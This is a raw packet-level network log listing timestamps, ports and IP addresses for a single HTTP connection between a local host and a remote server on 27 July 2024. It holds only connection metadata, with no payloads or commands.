Jul 27, 2024 03:19:15.217971087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.217984915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.217994928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218002081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218010902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218031883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218039036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218044996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218055964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218070030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218070984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218086004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218086004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218101025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218103886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218117952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218121052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218133926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218136072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218149900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218152046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218168020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218169928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218180895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218193054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218202114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218209028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218224049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218226910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218240023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218242884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218255997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218259096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218271971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218276024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218288898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218292952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218305111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218314886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218321085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218331099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218344927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218347073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218360901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218364000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218375921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218378067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218393087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218394041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218408108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218410969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218425989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218427896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218442917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218444109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.218457937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.218473911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.259190083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.264045954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.435854912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.435935020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.435970068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436017036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436048985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436079979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436105967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436105967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436105967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436105967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436115980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436134100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436151981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436167955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436202049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436206102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436235905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436247110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436269999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436280012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436305046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436306000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436348915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436355114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436440945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436449051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436476946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436487913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436547995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436549902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436584949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436599970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436630964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436641932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436666012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436681032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436713934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436723948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436748981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436764956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436798096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436800957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436830997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436834097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436863899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436871052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436897993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436903000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436935902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.436944962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436970949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.436973095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437005997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437016010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437041998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437041998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437092066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437092066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437134027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437140942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437174082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437176943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437211037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437211990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437247038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437252998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437282085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437284946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437315941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437319994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437349081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437352896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437386036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437386036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437419891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437423944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437453032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437463999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437488079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437488079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437525988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437526941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437560081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437567949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437592983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437597990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437628031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437633038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437661886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437673092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437705040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437714100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437746048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437751055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437774897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437778950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437812090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437819958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437844992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437849045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437880039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437886953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437915087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437922955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.437953949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437983990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.437993050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438019991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438019991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438040018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438081026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438087940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438122034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438124895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438154936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438179970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438188076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438191891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438230038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438240051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438273907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438281059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438306093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438306093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438339949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438344002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438373089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438380957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438405991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438416958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438437939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438446045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438474894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438478947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438508987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438517094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438543081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438549995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438575983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438576937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438610077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438620090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438643932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438648939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438682079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438698053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438740015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438746929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438781023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438788891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438815117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438821077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438865900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438868999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438909054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438916922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438949108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.438956976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.438981056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439004898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439026117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439030886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439066887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439080000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439109087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439116955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439148903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439156055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439182043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439189911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439213037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439225912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439254045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439264059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439299107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439305067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439332008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439342022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439366102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439368963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439400911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439407110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439435005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439445972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439467907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439471960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439502001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439507961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439533949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439543962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439568043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439573050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439600945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439608097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439635992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439645052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439677000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439677954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439712048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439723015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439759016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439764977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439799070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439810991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439831972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439836979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439876080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439882040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439914942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439923048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439949989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439954996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.439985037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.439996004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440018892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440021992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440049887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440057993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440083981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440092087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440118074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440123081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440150023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440157890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440184116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440191984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440218925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440223932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440253019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440256119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440288067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440294027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440318108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440320015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440354109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440357924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440391064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440392971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440423012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440429926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440457106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440462112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440504074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.440510988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.440548897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524667978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524693966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524708986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524723053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524739027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524754047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524775982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524789095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524790049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524806023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524821997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524838924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524843931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524857998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524873018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524878979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524878979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524887085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524904013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.524908066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524931908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.524960995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525214911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525291920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525298119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525307894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525346994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525363922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525368929 CEST	49710	80	192.168.2.6	85.28.47.31
